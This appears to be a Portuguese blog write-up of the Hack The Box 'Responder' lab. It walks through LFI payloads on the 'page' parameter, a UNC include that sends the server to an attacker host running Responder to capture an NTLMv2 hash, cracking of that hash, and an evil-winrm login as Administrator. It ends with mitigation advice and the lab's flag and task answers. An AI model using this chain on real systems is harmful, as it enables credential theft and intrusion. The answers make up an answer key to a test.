Introdução
Há alguns anos me interessei por hacking mas acabei saindo um pouco do tema para estudar a área de dados. Para retornar à área decidi fazer algumas trilhas da PortSwigger e do HTB com máquinas e CTFs mais simples.
Dado esse contexto, decidi que conforme eu for refazendo a trilha introdutória do HTB irei fazer alguns tutoriais sobre algumas máquinas. Escolhi fazer primeiro a responder, pois ela apresenta um grau de complexidade bem mais alta que as anteriores. Isso ocorre principalmente devido a ela concatenar várias falhas de segurança para sua exploração.
Fase de reconhecimento
Na fase de reconhecimento, para esse contexto, podemos começar usando um scanner de rede como o nmap para verificar os serviços que estão sendo executados no alvo. Explicando de forma simples: seria como se ao chegarmos em um bairro, tentando conhecer a comunidade, decidimos bater de porta em porta para perguntar qual software "mora" naquela casa, caso ninguém responda é sinal de que ou fomos barrados por um firewall ou realmente não tem ninguém operando na porta de rede.
Executando o nmap temos os seguintes resultados:
┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sC -sV 10.129.230.163
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 02:29 +0000
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for unika.htb (10.129.230.163)
Host is up (0.21s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: Unika
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Aqui temos muitas informações - duas portas abertas, ambas rodando serviços em http, na porta 80 temos o apache que é um software de servidor web, o que comprova que tem uma pagina web e na porta 5985 temos o Microsoft HTTPAPI(WinRM).
Existe um procedimento comum em máquinas HTB onde você para acessar uma aba específica é necessário acessar o arquivo (substitua o ip)
# Edite o arquivo
sudo nano /etc/hosts
# Adicione no final:
10.129.X.X unika.htb
Verificando que na guia do site existe a possibilidade de trocar de idioma. Ao trocar o idioma, perceba que o link é alterado para: http://unika.htb/index.php?page=french.html
Isso é um indício forte que talvez exista nessa aplicação uma brecha de Local File Inclusion(LFI). Pois se o parâmetro page= aceitar entradas arbitrárias poderemos introduzir aquivos maliciosamente.
A forma mais simples de verificar a existência dessa falha é procurando pelo diretório hosts:
http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
verificado que podemos acessar informações do host, é possível confirmar a existência da falha
podemos também testar se é possível "traduzir" um arquivo de código para base 64 usando a função filter.
http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php
desencriptando temos:
<?php
$domain = "unika.htb";
if($_SERVER['SERVER_NAME'] != $domain) {
echo '<meta http-equiv="refresh" content="0;url=http://unika.htb/">';
die();
}
if(!isset($_GET['page'])) {
include("./english.html");
}
else {
include($_GET['page']);
}
o coração da falha está no "include($_GET['page']);" - ao não encontrar a página, o servidor adiciona a página solicitada pelo usuário sem qualquer verificação.
Isso comprova que existe uma falha muito severa de segurança: a aplicação permite que você adicione arquivos de forma arbitrária dentro do servidor, falha que se tornará vetor de ataque.
Fase de Exploração
Sabendo do problema podemos criar um servidor SMB falso através do Responder
──(kali㉿kali)-[~/Downloads]
└─$ sudo responder -I tun0
podemos executar o seguinte código:
http://unika.htb/index.php?page=//[seu IP]/payload
como o servidor permite você procurar por um arquivo qualquer, podemos "forçar" ele a procurar algo no nosso servidor falso.(arquivo payload).
Ao incluir um caminho UNC (//IP/payload), o PHP no Windows tenta acessar um compartilhamento SMB no IP indicado. O Responder finge ser esse servidor SMB e captura o hash NTLMv2 enviado pela máquina vítima durante a tentativa de autenticação.
Esse procedimento exige o uso de credenciais, que a máquina atacada envia.
[SMB] NTLMv2-SSP Client : 10.129.95.234
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:9c44013f6f207b9c:4083607D154D17D099D9EA1F41C982D0:01010000000000000062A081254ADD013EE714100FDEE1890000000002000800490049004100390001001E00570049004E002D0031003800470054004A004F0054004A00460049004D0004003400570049004E002D0031003800470054004A004F0054004A00460049004D002E0049004900410039002E004C004F00430041004C000300140049004900410039002E004C004F00430041004C000500140049004900410039002E004C004F00430041004C00070008000062A081254ADD0106000400020000000800300030000000000000000100000000200000EFBCC3F63B0CA9D9B9F68403CE65BBCEC2D01F1F7D34637489B2D055E09A67190A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00360037000000000000000000
Esse é o Hash da senha do administrador. O Hash pode ser definido matematicamente como a seguinte função:
O Hash,diferente da criptografia clássica, é uma função de mão única; não é criptografia reversível. A quebra é feita por tentativa e erro com wordlist
Pense que o Hash é uma maquina, onde você coloca texto e ele comprime para um tamanho fixo e "bagunça" o texto para tornar ele ilegível para nós. Para "desvendar" esse mistério sobre o que esta escrito ali é necessário saber o texto original, pois o algoritmo de hash só produz uma saída para uma entrada. Dois textos distintos não produzem o mesmo hash, dois texto idênticos, sim.
para essa tarefa podemos usar tanto o Hashcat como o John the Ripper
┌──(kali㉿kali)-[~/Downloads]
└─$ john --format=netntlmv2 --wordlist=rockyou.txt aa
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton (Administrator)
1g 0:00:00:00 DONE (2026-09-24 02:28) 50.00g/s 204800p/s 204800c/s 204800C/s slimshady..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Temos agora o usuário Administrator com a senha badminton
Vamos agora usar essa senha para entrar pela porta da frente da máquina usando o Evil-WinRM pra explorar o serviço do WinRM(protocolo de gerenciamento remoto do windows)
┌──(kali㉿kali)-[~/Downloads]
└─$ evil-winrm -i 10.129.230.163 -u Administrator -p badminton
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
procurando pela flag , temos o que precisamos:
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ChildItem -Path C:\ -Filter flag.txt -Recurse -ErrorAction SilentlyContinue
Directory: C:\Users\mike\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/10/2022 4:50 AM 32 flag.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\mike\Desktop\flag.txt
ea81b7afddd03efaa0945333ed147fac
Conclusão
Apesar de ser uma máquina antiga, ela é bem mais interessante que as máquinas que apareceram anteriormente. Ela concatena vários conceitos de forma mais complexa, podendo criar um degrau difícil de escalar em um primeiro momento. Porém é possível extrair muito dela - Servidores SMB e sua falsificação, a necessidade de higienizar as entradas, uso de Whitelists para evitar ataques desse tipo e desenvolver senhas que não possam ser facilmente advinhadas e etc.
Mitigação
A exploração dessa máquina dependeu de três fatores encadeados: uma falha de LFI no PHP, a capacidade do servidor web iniciar conexões SMB de saída e o uso de uma senha fraca. Por isso, a mitigação também precisa atacar essas três frentes.
1. Na aplicação
O erro central está em include($_GET['page']). A regra de ouro é: nunca passe input do usuário diretamente para include, require, fopen ou qualquer função que resolva caminhos de arquivo.
A correção mais simples e eficaz é usar uma whitelist.
2. protocolos legados
Protocolos legados são superfície de ataque. SMB, LLMNR e NBT-NS continuam sendo explorados porque continuam habilitados por padrão. Desligar o que não é usado é uma das defesas mais subestimadas.
3. Senhas fracas
Senhas fracas derrubam qualquer cadeia de defesa. De nada adianta hardening se a senha do administrador é uma palavra de dicionário.
por fim a resolução da maquina:
Task 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
unika.htb
Task 2
Which scripting language is being used on the server to generate webpages?
php
Task 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
page
Task 4
_Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", _"mimikatz.exe"
../../../../../../../../windows/system32/drivers/etc/hosts
Task 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "./../../../../../../../windows/system32/drivers/etc/hosts", "mimikatz.exe"
//10.10.14.6/somefile
Task 6
What does NTLM stand for?
New Technology Lan Manager
Task 7
Which flag do we use in the Responder utility to specify the network interface?
-I
Task 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
John The Ripper
Task 9
What is the password for the administrator user?
badminton
Task 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
5985
Task 11
On which user's desktop is the flag located?
mike



Top comments (0)